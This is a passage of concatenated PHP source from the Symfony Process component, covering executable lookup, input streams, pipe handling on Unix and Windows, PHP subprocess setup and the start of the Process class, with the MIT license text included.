function isIdleTimeout() { return self::TYPE_IDLE === $this->timeoutType; } public function getExceededTimeout(): ?float { return match ($this->timeoutType) { self::TYPE_GENERAL => $this->process->getTimeout(), self::TYPE_IDLE => $this->process->getIdleTimeout(), default => throw new \LogicException(\sprintf('Unknown timeout type "%d".', $this->timeoutType)), }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; use Symfony\Component\Process\Messenger\RunProcessContext; /** * @author Kevin Bond */ final class RunProcessFailedException extends RuntimeException { public function __construct(ProcessFailedException $exception, public readonly RunProcessContext $context) { parent::__construct($exception->getMessage(), $exception->getCode()); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; /** * RuntimeException for the Process Component. * * @author Johannes M. Schmitt */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; /** * Generic executable finder. * * @author Fabien Potencier * @author Johannes M. Schmitt */ class ExecutableFinder { private const CMD_BUILTINS = [ 'assoc', 'break', 'call', 'cd', 'chdir', 'cls', 'color', 'copy', 'date', 'del', 'dir', 'echo', 'endlocal', 'erase', 'exit', 'for', 'ftype', 'goto', 'help', 'if', 'label', 'md', 'mkdir', 'mklink', 'move', 'path', 'pause', 'popd', 'prompt', 'pushd', 'rd', 'rem', 'ren', 'rename', 'rmdir', 'set', 'setlocal', 'shift', 'start', 'time', 'title', 'type', 'ver', 'vol', ]; private array $suffixes = []; /** * Replaces default suffixes of executable. * * @return void */ public function setSuffixes(array $suffixes) { $this->suffixes = $suffixes; } /** * Adds new possible suffix to check for executable. * * @return void */ public function addSuffix(string $suffix) { $this->suffixes[] = $suffix; } /** * Finds an executable by name. * * @param string $name The executable name (without the extension) * @param string|null $default The default to return if no executable is found * @param array $extraDirs Additional dirs to check into */ public function find(string $name, ?string $default = null, array $extraDirs = []): ?string { // windows built-in commands that are present in cmd.exe should not be resolved using PATH as they do not exist as exes if ('\\' === \DIRECTORY_SEPARATOR && \in_array(strtolower($name), self::CMD_BUILTINS, true)) { return $name; } $dirs = array_merge( explode(\PATH_SEPARATOR, getenv('PATH') ?: getenv('Path')), $extraDirs ); $suffixes = []; if ('\\' === \DIRECTORY_SEPARATOR) { $pathExt = getenv('PATHEXT'); $suffixes = $this->suffixes; $suffixes = array_merge($suffixes, $pathExt ? explode(\PATH_SEPARATOR, $pathExt) : ['.exe', '.bat', '.cmd', '.com']); } $suffixes = '' !== pathinfo($name, \PATHINFO_EXTENSION) ? array_merge([''], $suffixes) : array_merge($suffixes, ['']); foreach ($suffixes as $suffix) { foreach ($dirs as $dir) { if ('' === $dir) { $dir = '.'; } if (@is_file($file = $dir.\DIRECTORY_SEPARATOR.$name.$suffix) && ('\\' === \DIRECTORY_SEPARATOR || @is_executable($file))) { return $file; } if (!@is_dir($dir) && basename($dir) === $name.$suffix && @is_executable($dir)) { return $dir; } } } if ('\\' === \DIRECTORY_SEPARATOR || !\function_exists('exec') || \strlen($name) !== strcspn($name, '/'.\DIRECTORY_SEPARATOR)) { return $default; } $execResult = exec('command -v -- '.escapeshellarg($name)); if (($executablePath = substr($execResult, 0, strpos($execResult, \PHP_EOL) ?: null)) && @is_executable($executablePath)) { return $executablePath; } return $default; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; use Symfony\Component\Process\Exception\RuntimeException; /** * Provides a way to continuously write to the input of a Process until the InputStream is closed. * * @author Nicolas Grekas * * @implements \IteratorAggregate */ class InputStream implements \IteratorAggregate { private ?\Closure $onEmpty = null; private array $input = []; private bool $open = true; /** * Sets a callback that is called when the write buffer becomes empty. * * @return void */ public function onEmpty(?callable $onEmpty = null) { $this->onEmpty = null !== $onEmpty ? $onEmpty(...) : null; } /** * Appends an input to the write buffer. * * @param resource|string|int|float|bool|\Traversable|null $input The input to append as scalar, * stream resource or \Traversable * * @return void */ public function write(mixed $input) { if (null === $input) { return; } if ($this->isClosed()) { throw new RuntimeException(\sprintf('"%s" is closed.', static::class)); } $this->input[] = ProcessUtils::validateInput(__METHOD__, $input); } /** * Closes the write buffer. * * @return void */ public function close() { $this->open = false; } /** * Tells whether the write buffer is closed or not. * * @return bool */ public function isClosed() { return !$this->open; } public function getIterator(): \Traversable { $this->open = true; while ($this->open || $this->input) { if (!$this->input) { yield ''; continue; } $current = array_shift($this->input); if ($current instanceof \Iterator) { yield from $current; } else { yield $current; } if (!$this->input && $this->open && null !== $onEmpty = $this->onEmpty) { $this->write($onEmpty($this)); } } } } Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Messenger; use Symfony\Component\Process\Process; /** * @author Kevin Bond */ final class RunProcessContext { public readonly ?int $exitCode; public readonly ?string $output; public readonly ?string $errorOutput; public function __construct( public readonly RunProcessMessage $message, Process $process, ) { $this->exitCode = $process->getExitCode(); $this->output = $process->isOutputDisabled() ? null : $process->getOutput(); $this->errorOutput = $process->isOutputDisabled() ? null : $process->getErrorOutput(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Messenger; /** * @author Kevin Bond */ class RunProcessMessage implements \Stringable { public function __construct( public readonly array $command, public readonly ?string $cwd = null, public readonly ?array $env = null, public readonly mixed $input = null, public readonly ?float $timeout = 60.0, ) { } public function __toString(): string { return implode(' ', $this->command); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Messenger; use Symfony\Component\Process\Exception\ProcessFailedException; use Symfony\Component\Process\Exception\RunProcessFailedException; use Symfony\Component\Process\Process; /** * @author Kevin Bond */ final class RunProcessMessageHandler { public function __invoke(RunProcessMessage $message): RunProcessContext { $process = new Process($message->command, $message->cwd, $message->env, $message->input, $message->timeout); try { return new RunProcessContext($message, $process->mustRun()); } catch (ProcessFailedException $e) { throw new RunProcessFailedException($e, new RunProcessContext($message, $e->getProcess())); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; /** * An executable finder specifically designed for the PHP executable. * * @author Fabien Potencier * @author Johannes M. Schmitt */ class PhpExecutableFinder { private ExecutableFinder $executableFinder; public function __construct() { $this->executableFinder = new ExecutableFinder(); } /** * Finds The PHP executable. */ public function find(bool $includeArgs = true): string|false { if ($php = getenv('PHP_BINARY')) { if (!is_executable($php) && !$php = $this->executableFinder->find($php)) { return false; } if (@is_dir($php)) { return false; } return $php; } $args = $this->findArguments(); $args = $includeArgs && $args ? ' '.implode(' ', $args) : ''; // PHP_BINARY return the current sapi executable if (\PHP_BINARY && \in_array(\PHP_SAPI, ['cli', 'cli-server', 'phpdbg'], true)) { return \PHP_BINARY.$args; } if ($php = getenv('PHP_PATH')) { if (!@is_executable($php) || @is_dir($php)) { return false; } return $php; } if ($php = getenv('PHP_PEAR_PHP_BIN')) { if (@is_executable($php) && !@is_dir($php)) { return $php; } } if (@is_executable($php = \PHP_BINDIR.('\\' === \DIRECTORY_SEPARATOR ? '\\php.exe' : '/php')) && !@is_dir($php)) { return $php; } $dirs = [\PHP_BINDIR]; if ('\\' === \DIRECTORY_SEPARATOR) { $dirs[] = 'C:\xampp\php\\'; } return $this->executableFinder->find('php', false, $dirs); } /** * Finds the PHP executable arguments. */ public function findArguments(): array { $arguments = []; if ('phpdbg' === \PHP_SAPI) { $arguments[] = '-qrr'; } return $arguments; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; use Symfony\Component\Process\Exception\LogicException; use Symfony\Component\Process\Exception\RuntimeException; /** * PhpProcess runs a PHP script in an independent process. * * $p = new PhpProcess(''); * $p->run(); * print $p->getOutput()."\n"; * * @author Fabien Potencier */ class PhpProcess extends Process { /** * @param string $script The PHP script to run (as a string) * @param string|null $cwd The working directory or null to use the working dir of the current PHP process * @param array|null $env The environment variables or null to use the same environment as the current PHP process * @param int $timeout The timeout in seconds * @param array|null $php Path to the PHP binary to use with any additional arguments */ public function __construct(string $script, ?string $cwd = null, ?array $env = null, int $timeout = 60, ?array $php = null) { if (null === $php) { $executableFinder = new PhpExecutableFinder(); $php = $executableFinder->find(false); $php = false === $php ? null : array_merge([$php], $executableFinder->findArguments()); } if ('phpdbg' === \PHP_SAPI) { $file = tempnam(sys_get_temp_dir(), 'dbg'); file_put_contents($file, $script); register_shutdown_function('unlink', $file); $php[] = $file; $script = null; } parent::__construct($php, $cwd, $env, $script, $timeout); } public static function fromShellCommandline(string $command, ?string $cwd = null, ?array $env = null, mixed $input = null, ?float $timeout = 60): static { throw new LogicException(\sprintf('The "%s()" method cannot be called when using "%s".', __METHOD__, self::class)); } /** * @return void */ public function start(?callable $callback = null, array $env = []) { if (null === $this->getCommandLine()) { throw new RuntimeException('Unable to find the PHP executable.'); } parent::start($callback, $env); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; use Symfony\Component\Process\Exception\LogicException; use Symfony\Component\Process\Exception\RuntimeException; /** * PhpSubprocess runs a PHP command as a subprocess while keeping the original php.ini settings. * * For this, it generates a temporary php.ini file taking over all the current settings and disables * loading additional .ini files. Basically, your command gets prefixed using "php -n -c /tmp/temp.ini". * * Given your php.ini contains "memory_limit=-1" and you have a "MemoryTest.php" with the following content: * * run(); * print $p->getOutput()."\n"; * * This will output "string(2) "-1", because the process is started with the default php.ini settings. * * $p = new PhpSubprocess(['MemoryTest.php'], null, null, 60, ['php', '-d', 'memory_limit=256M']); * $p->run(); * print $p->getOutput()."\n"; * * This will output "string(4) "256M"", because the process is started with the temporarily created php.ini settings. * * @author Yanick Witschi * @author Partially copied and heavily inspired from composer/xdebug-handler by John Stevenson */ class PhpSubprocess extends Process { /** * @param array $command The command to run and its arguments listed as separate entries. They will automatically * get prefixed with the PHP binary * @param string|null $cwd The working directory or null to use the working dir of the current PHP process * @param array|null $env The environment variables or null to use the same environment as the current PHP process * @param int $timeout The timeout in seconds * @param array|null $php Path to the PHP binary to use with any additional arguments */ public function __construct(array $command, ?string $cwd = null, ?array $env = null, int $timeout = 60, ?array $php = null) { if (null === $php) { $executableFinder = new PhpExecutableFinder(); $php = $executableFinder->find(false); $php = false === $php ? null : array_merge([$php], $executableFinder->findArguments()); } if (null === $php) { throw new RuntimeException('Unable to find PHP binary.'); } $tmpIni = $this->writeTmpIni($this->getAllIniFiles(), sys_get_temp_dir()); $php = array_merge($php, ['-n', '-c', $tmpIni]); register_shutdown_function('unlink', $tmpIni); $command = array_merge($php, $command); parent::__construct($command, $cwd, $env, null, $timeout); } public static function fromShellCommandline(string $command, ?string $cwd = null, ?array $env = null, mixed $input = null, ?float $timeout = 60): static { throw new LogicException(\sprintf('The "%s()" method cannot be called when using "%s".', __METHOD__, self::class)); } public function start(?callable $callback = null, array $env = []): void { if (null === $this->getCommandLine()) { throw new RuntimeException('Unable to find the PHP executable.'); } parent::start($callback, $env); } private function writeTmpIni(array $iniFiles, string $tmpDir): string { if (false === $tmpfile = @tempnam($tmpDir, '')) { throw new RuntimeException('Unable to create temporary ini file.'); } // $iniFiles has at least one item and it may be empty if ('' === $iniFiles[0]) { array_shift($iniFiles); } $content = ''; foreach ($iniFiles as $file) { // Check for inaccessible ini files if (($data = @file_get_contents($file)) === false) { throw new RuntimeException('Unable to read ini: '.$file); } // Check and remove directives after HOST and PATH sections if (preg_match('/^\s*\[(?:PATH|HOST)\s*=/mi', $data, $matches, \PREG_OFFSET_CAPTURE)) { $data = substr($data, 0, $matches[0][1]); } $content .= $data."\n"; } // Merge loaded settings into our ini content, if it is valid $config = parse_ini_string($content); $loaded = ini_get_all(null, false); if (false === $config || false === $loaded) { throw new RuntimeException('Unable to parse ini data.'); } $content .= $this->mergeLoadedConfig($loaded, $config); // Work-around for https://bugs.php.net/bug.php?id=75932 $content .= "opcache.enable_cli=0\n"; if (false === @file_put_contents($tmpfile, $content)) { throw new RuntimeException('Unable to write temporary ini file.'); } return $tmpfile; } private function mergeLoadedConfig(array $loadedConfig, array $iniConfig): string { $content = ''; foreach ($loadedConfig as $name => $value) { if (!\is_string($value)) { continue; } if (!isset($iniConfig[$name]) || $iniConfig[$name] !== $value) { // Double-quote escape each value $content .= $name.'="'.addcslashes($value, '\\"')."\"\n"; } } return $content; } private function getAllIniFiles(): array { $paths = [(string) php_ini_loaded_file()]; if (false !== $scanned = php_ini_scanned_files()) { $paths = array_merge($paths, array_map('trim', explode(',', $scanned))); } return $paths; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Pipes; use Symfony\Component\Process\Exception\InvalidArgumentException; /** * @author Romain Neutron * * @internal */ abstract class AbstractPipes implements PipesInterface { public array $pipes = []; private string $inputBuffer = ''; /** @var resource|string|\Iterator */ private $input; private bool $blocked = true; private ?string $lastError = null; /** * @param resource|string|\Iterator $input */ public function __construct($input) { if (\is_resource($input) || $input instanceof \Iterator) { $this->input = $input; } else { $this->inputBuffer = (string) $input; } } public function close(): void { foreach ($this->pipes as $pipe) { if (\is_resource($pipe)) { fclose($pipe); } } $this->pipes = []; } /** * Returns true if a system call has been interrupted. * * stream_select() returns false when the `select` system call is interrupted by an incoming signal. */ protected function hasSystemCallBeenInterrupted(): bool { $lastError = $this->lastError; $this->lastError = null; if (null === $lastError) { return false; } if (false !== stripos($lastError, 'interrupted system call')) { return true; } // on applications with a different locale than english, the message above is not found because // it's translated. So we also check for the SOCKET_EINTR constant which is defined under // Windows and UNIX-like platforms (if available on the platform). return \defined('SOCKET_EINTR') && str_starts_with($lastError, 'stream_select(): Unable to select ['.\SOCKET_EINTR.']'); } /** * Unblocks streams. */ protected function unblock(): void { if (!$this->blocked) { return; } foreach ($this->pipes as $pipe) { stream_set_blocking($pipe, false); } if (\is_resource($this->input)) { stream_set_blocking($this->input, false); } $this->blocked = false; } /** * Writes input to stdin. * * @throws InvalidArgumentException When an input iterator yields a non supported value */ protected function write(): ?array { if (!isset($this->pipes[0])) { return null; } $input = $this->input; if ($input instanceof \Iterator) { if (!$input->valid()) { $input = null; } elseif (\is_resource($input = $input->current())) { stream_set_blocking($input, false); } elseif (!isset($this->inputBuffer[0])) { if (!\is_string($input)) { if (!\is_scalar($input)) { throw new InvalidArgumentException(\sprintf('"%s" yielded a value of type "%s", but only scalars and stream resources are supported.', get_debug_type($this->input), get_debug_type($input))); } $input = (string) $input; } $this->inputBuffer = $input; $this->input->next(); $input = null; } else { $input = null; } } $r = $e = []; $w = [$this->pipes[0]]; // let's have a look if something changed in streams if (false === @stream_select($r, $w, $e, 0, 0)) { return null; } foreach ($w as $stdin) { if (isset($this->inputBuffer[0])) { $written = fwrite($stdin, $this->inputBuffer); $this->inputBuffer = substr($this->inputBuffer, $written); if (isset($this->inputBuffer[0])) { return [$this->pipes[0]]; } } if ($input) { while (true) { $data = fread($input, self::CHUNK_SIZE); if (!isset($data[0])) { break; } $written = fwrite($stdin, $data); $data = substr($data, $written); if (isset($data[0])) { $this->inputBuffer = $data; return [$this->pipes[0]]; } } if (feof($input)) { if ($this->input instanceof \Iterator) { $this->input->next(); } else { $this->input = null; } } } } // no input to read on resource, buffer is empty if (!isset($this->inputBuffer[0]) && !($this->input instanceof \Iterator ? $this->input->valid() : $this->input)) { $this->input = null; fclose($this->pipes[0]); unset($this->pipes[0]); } elseif (!$w) { return [$this->pipes[0]]; } return null; } /** * @internal */ public function handleError(int $type, string $msg): void { $this->lastError = $msg; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Pipes; /** * PipesInterface manages descriptors and pipes for the use of proc_open. * * @author Romain Neutron * * @internal */ interface PipesInterface { public const CHUNK_SIZE = 16384; /** * Returns an array of descriptors for the use of proc_open. */ public function getDescriptors(): array; /** * Returns an array of filenames indexed by their related stream in case these pipes use temporary files. * * @return string[] */ public function getFiles(): array; /** * Reads data in file handles and pipes. * * @param bool $blocking Whether to use blocking calls or not * @param bool $close Whether to close pipes if they've reached EOF * * @return string[] An array of read data indexed by their fd */ public function readAndWrite(bool $blocking, bool $close = false): array; /** * Returns if the current state has open file handles or pipes. */ public function areOpen(): bool; /** * Returns if pipes are able to read output. */ public function haveReadSupport(): bool; /** * Closes file handles and pipes. */ public function close(): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Pipes; use Symfony\Component\Process\Process; /** * UnixPipes implementation uses unix pipes as handles. * * @author Romain Neutron * * @internal */ class UnixPipes extends AbstractPipes { private ?bool $ttyMode; private bool $ptyMode; private bool $haveReadSupport; public function __construct(?bool $ttyMode, bool $ptyMode, mixed $input, bool $haveReadSupport) { $this->ttyMode = $ttyMode; $this->ptyMode = $ptyMode; $this->haveReadSupport = $haveReadSupport; parent::__construct($input); } public function __serialize(): array { throw new \BadMethodCallException('Cannot serialize '.__CLASS__); } public function __unserialize(array $data): void { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } public function __destruct() { $this->close(); } public function getDescriptors(): array { if (!$this->haveReadSupport) { $nullstream = fopen('/dev/null', 'c'); return [ ['pipe', 'r'], $nullstream, $nullstream, ]; } if ($this->ttyMode) { return [ ['file', '/dev/tty', 'r'], ['file', '/dev/tty', 'w'], ['file', '/dev/tty', 'w'], ]; } if ($this->ptyMode && Process::isPtySupported()) { return [ ['pty'], ['pty'], ['pipe', 'w'], // stderr needs to be in a pipe to correctly split error and output, since PHP will use the same stream for both ]; } return [ ['pipe', 'r'], ['pipe', 'w'], // stdout ['pipe', 'w'], // stderr ]; } public function getFiles(): array { return []; } public function readAndWrite(bool $blocking, bool $close = false): array { $this->unblock(); $w = $this->write(); $read = $e = []; $r = $this->pipes; unset($r[0]); // let's have a look if something changed in streams set_error_handler($this->handleError(...)); if (($r || $w) && false === stream_select($r, $w, $e, 0, $blocking ? Process::TIMEOUT_PRECISION * 1E6 : 0)) { restore_error_handler(); // if a system call has been interrupted, forget about it, let's try again // otherwise, an error occurred, let's reset pipes if (!$this->hasSystemCallBeenInterrupted()) { $this->pipes = []; } return $read; } restore_error_handler(); foreach ($r as $pipe) { // prior PHP 5.4 the array passed to stream_select is modified and // lose key association, we have to find back the key $read[$type = array_search($pipe, $this->pipes, true)] = ''; do { $data = @fread($pipe, self::CHUNK_SIZE); $read[$type] .= $data; } while (isset($data[0]) && ($close || isset($data[self::CHUNK_SIZE - 1]))); if (!isset($read[$type][0])) { unset($read[$type]); } if ($close && feof($pipe)) { fclose($pipe); unset($this->pipes[$type]); } } return $read; } public function haveReadSupport(): bool { return $this->haveReadSupport; } public function areOpen(): bool { return (bool) $this->pipes; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Pipes; use Symfony\Component\Process\Exception\RuntimeException; use Symfony\Component\Process\Process; /** * WindowsPipes implementation uses temporary files as handles. * * @see https://bugs.php.net/51800 * @see https://bugs.php.net/65650 * * @author Romain Neutron * * @internal */ class WindowsPipes extends AbstractPipes { private array $files = []; private array $fileHandles = []; private array $lockHandles = []; private array $readBytes = [ Process::STDOUT => 0, Process::STDERR => 0, ]; private bool $haveReadSupport; public function __construct(mixed $input, bool $haveReadSupport) { $this->haveReadSupport = $haveReadSupport; if ($this->haveReadSupport) { // Fix for PHP bug #51800: reading from STDOUT pipe hangs forever on Windows if the output is too big. // Workaround for this problem is to use temporary files instead of pipes on Windows platform. // // @see https://bugs.php.net/51800 $pipes = [ Process::STDOUT => Process::OUT, Process::STDERR => Process::ERR, ]; $tmpDir = sys_get_temp_dir(); $lastError = 'unknown reason'; set_error_handler(function ($type, $msg) use (&$lastError) { $lastError = $msg; }); for ($i = 0;; ++$i) { foreach ($pipes as $pipe => $name) { $file = \sprintf('%s\\sf_proc_%02X.%s', $tmpDir, $i, $name); if (!$h = fopen($file.'.lock', 'w')) { if (file_exists($file.'.lock')) { continue 2; } restore_error_handler(); throw new RuntimeException('A temporary file could not be opened to write the process output: '.$lastError); } if (!flock($h, \LOCK_EX | \LOCK_NB)) { continue 2; } if (isset($this->lockHandles[$pipe])) { flock($this->lockHandles[$pipe], \LOCK_UN); fclose($this->lockHandles[$pipe]); } $this->lockHandles[$pipe] = $h; if (!($h = fopen($file, 'w')) || !fclose($h) || !$h = fopen($file, 'r')) { flock($this->lockHandles[$pipe], \LOCK_UN); fclose($this->lockHandles[$pipe]); unset($this->lockHandles[$pipe]); continue 2; } $this->fileHandles[$pipe] = $h; $this->files[$pipe] = $file; } break; } restore_error_handler(); } parent::__construct($input); } public function __serialize(): array { throw new \BadMethodCallException('Cannot serialize '.__CLASS__); } public function __unserialize(array $data): void { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } public function __destruct() { $this->close(); } public function getDescriptors(): array { if (!$this->haveReadSupport) { $nullstream = fopen('NUL', 'c'); return [ ['pipe', 'r'], $nullstream, $nullstream, ]; } // We're not using pipe on Windows platform as it hangs (https://bugs.php.net/51800) // We're not using file handles as it can produce corrupted output https://bugs.php.net/65650 // So we redirect output within the commandline and pass the nul device to the process return [ ['pipe', 'r'], ['file', 'NUL', 'w'], ['file', 'NUL', 'w'], ]; } public function getFiles(): array { return $this->files; } public function readAndWrite(bool $blocking, bool $close = false): array { $this->unblock(); $w = $this->write(); $read = $r = $e = []; if ($blocking) { if ($w) { @stream_select($r, $w, $e, 0, Process::TIMEOUT_PRECISION * 1E6); } elseif ($this->fileHandles) { usleep((int) (Process::TIMEOUT_PRECISION * 1E6)); } } foreach ($this->fileHandles as $type => $fileHandle) { $data = stream_get_contents($fileHandle, -1, $this->readBytes[$type]); if (isset($data[0])) { $this->readBytes[$type] += \strlen($data); $read[$type] = $data; } if ($close) { ftruncate($fileHandle, 0); fclose($fileHandle); flock($this->lockHandles[$type], \LOCK_UN); fclose($this->lockHandles[$type]); unset($this->fileHandles[$type], $this->lockHandles[$type]); } } return $read; } public function haveReadSupport(): bool { return $this->haveReadSupport; } public function areOpen(): bool { return $this->pipes && $this->fileHandles; } public function close(): void { parent::close(); foreach ($this->fileHandles as $type => $handle) { ftruncate($handle, 0); fclose($handle); flock($this->lockHandles[$type], \LOCK_UN); fclose($this->lockHandles[$type]); } $this->fileHandles = $this->lockHandles = []; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; use Symfony\Component\Process\Exception\InvalidArgumentException; use Symfony\Component\Process\Exception\LogicException; use Symfony\Component\Process\Exception\ProcessFailedException; use Symfony\Component\Process\Exception\ProcessSignaledException; use Symfony\Component\Process\Exception\ProcessTimedOutException; use Symfony\Component\Process\Exception\RuntimeException; use Symfony\Component\Process\Pipes\UnixPipes; use Symfony\Component\Process\Pipes\WindowsPipes; /** * Process is a thin wrapper around proc_* functions to easily * start independent PHP processes. * * @author Fabien Potencier * @author Romain Neutron * * @implements \IteratorAggregate */ class Process implements \IteratorAggregate { public const ERR = 'err'; public const OUT = 'out'; public const STATUS_READY = 'ready'; public const STATUS_STARTED = 'started'; public const STATUS_TERMINATED = 'terminated'; public const STDIN = 0; public const STDOUT = 1; public const STDERR = 2; // Timeout Precision in seconds. public const TIMEOUT_PRECISION = 0.2; public const ITER_NON_BLOCKING = 1; // By default, iterating over outputs is a blocking call, use this flag to make it non-blocking public const ITER_KEEP_OUTPUT = 2; // By default, outputs are cleared while iterating, use this flag to keep them in memory public const ITER_SKIP_OUT = 4; // Use this flag to skip STDOUT while iterating public const ITER_SKIP_ERR = 8; // Use this flag to skip STDERR while iterating private ?\Closure $callback = null; private array|string $commandline; private ?string $cwd; private array $env = []; /** @var resource|string|\Iterator|null */ private $input; private ?float $starttime = null; private ?float $lastOutputTime = null; private ?float $timeout = null; private ?float $idleTimeout = null; private ?int $exitcode = null; private array $fallbackStatus = []; private array $processInformation; private bool $outputDisabled = false; /** @var resource */ private $stdout; /** @var resource */ private $stderr; /** @var resource|null */ private $process; private string $status = self::STATUS_READY; private int $incrementalOutputOffset = 0; private int $incrementalErrorOutputOffset = 0; private bool $tty = false; private bool $pty; private array $options = ['suppress_errors' => true, 'bypass_shell' => true]; private WindowsPipes|UnixPipes $processPipes; private ?int $latestSignal = null; private static ?bool $sigchild = null; /** * Exit codes translation table. * * User-defined errors must use exit codes in the 64-113 range. */ public static $exitCodes = [ 0 => 'OK', 1 => 'General error', 2 => 'Misuse of shell builtins', 126 => 'Invoked command cannot execute', 127 => 'Command not found', 128 => 'Invalid exit argument', // signals 129 => 'Hangup', 130 => 'Interrupt', 131 => 'Quit and dump core', 132 => 'Illegal instruction', 133 => 'Trace/breakpoint trap', 134 => 'Process aborted', 135 => 'Bus error: "access to undefined portion of memory object"', 136 => 'Floating point exception: "erroneous arithmetic operation"', 137 => 'Kill (terminate immediately)', 138 => 'User-defined 1', 139 => 'Segmentation violation', 140 => 'User-defined 2', 141 => 'Write to pipe with no one reading', 142 => 'Signal raised by alarm', 143 => 'Termination (request to terminate)', // 144 - not defined 145 => 'Child process terminated, stopped (or continued*)', 146 => 'Continue if stopped', 147 => 'Stop executing temporarily', 148 => 'Terminal stop signal', 149 => 'Background process attempting to read from tty ("in")', 150 => 'Background process attempting to write to tty ("out")', 151 => 'Urgent data available on socket', 152 => 'CPU time limit exceeded', 153 => 'File size limit exceeded', 154 => 'Signal raised by timer counting virtual time: "virtual timer expired"', 155 => 'Profiling timer expired', // 156 - not defined 157 => 'Pollable event', // 158 - not defined 159 => 'Bad syscall', ]; /** * @param array $command The command to run and its arguments listed as separate entries * @param string|null $cwd The working directory or null to use the working dir of the current PHP process * @param array|null $env The environment variables or null to use the same environment as the current PHP process * @param mixed $input The input as stream resource, scalar or \Traversable, or null for no input * @param int|float|null $timeout The timeout in seconds or null to disable * * @throws LogicException When proc_open is not installed */ public function __construct(array $command, ?string $cwd = null, ?array $env = null, mixed $input = null, ?float $timeout = 60) { if (!\function_exists('proc_open')) { throw new LogicException('The Process class relies on proc_open, which is not available on your PHP installation.'); } $this->commandline = $command; $this->cwd = $cwd; // on Windows, if the cwd changed via chdir(), proc_open defaults to the dir where PHP was started // on Gnu/Linux, PHP builds with --enable-maintainer-zts are also affected // @see : https://bugs.php.net/51800 // @see : https://bugs.php.net/50524 if (null === $this->cwd && (\defined('ZEND_THREAD_SAFE') || '\\' === \DIRECTORY_SEPARATOR)) { $this->cwd = getcwd(); } if (null !== $env) { $this->setEnv($env); } $this->setInput($input); $this->setTimeout($timeout); $this->pty = false; } /** * Creates a Process instance as a command-line to be run in a shell wrapper. * * Command-lines are parsed by the shell of your OS (/bin/sh on Unix-like, cmd.exe on Windows.) * This allows using e.g. pipes or conditional execution. In this mode, signals are sent to the * shell wrapper and not to your commands. * * In order to inject dynamic values into command-lines, we strongly recommend using placeholders. * This will save escaping values, which is not portable nor secure anyway: * * $process = Process::fromShellCommandline('my_command "${:MY_VAR}"'); * $process->run(null, ['MY_VAR' => $theValue]); * * @param string $command The command line to pass to the shell of the OS * @param string|null $cwd The working directory or null to use the working dir of the current PHP process * @param array|null $env The environment variables or null to use the same environment as the current PHP process * @param mixed $input The input as stream resource, scalar or \Traversable, or null for no input * @param int|float|null $timeout The timeout in seconds or null to disable * * @throws LogicException When proc_open is not installed */ public static function fromShellCommandline(string $command, ?string $cwd = null, ?array $env = null, mixed $input = null, ?float $timeout = 60): static { $process = new static([], $cwd, $env, $input, $timeout); $process->commandline = $command; return $process; } public function __serialize(): array { throw new \BadMethodCallException('Cannot serialize '.__CLASS__); } public function __unserialize(array $data): void { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } public function __destruct() { if ($this->options['create_new_console'] ?? false) { $this->processPipes->close(); } else { $this->stop(0); } } public function __clone() { $this->resetProcessData(); } /** * Runs the process. * * The callback receives the type of output (out or err) and * some bytes from the output in real-time. It allows to have feedback * from the independent process during execution. * * The STDOUT and STDERR are also available after the process is finished * via the getOutput() and getErrorOutput() methods. * * @param callable|null $callback A PHP callback to run whenever there is some * output available on STDOUT or STDERR * * @return int The exit status code * * @throws RuntimeException When process can't be launched * @throws RuntimeException When process is already running * @throws ProcessTimedOutException When process timed out * @throws ProcessSignaledException When process stopped after receiving signal * @throws LogicException In case a callback is provided and output has been disabled * * @final */ public function run(?callable $callback = null, array $env = []): int { $this->start($callback, $env); return $this->wait(); } /** * Runs the process. * * This is identical to run() except that an exception is thrown if the process * exits with a non-zero exit code. * * @return $this * * @throws ProcessFailedException if the process didn't terminate successfully * * @final */ public function mustRun(?callable $callback = null, array $env = []): static { if (0 !== $this->run($callback, $env)) { throw new ProcessFailedException($this); } return $this; } /** * Starts the process and returns after writing the input to STDIN. * * This method blocks until all STDIN data is sent to the process then it * returns while the process runs in the background. * * The termination of the process can be awaited with wait(). * * The callback receives the type of output (out 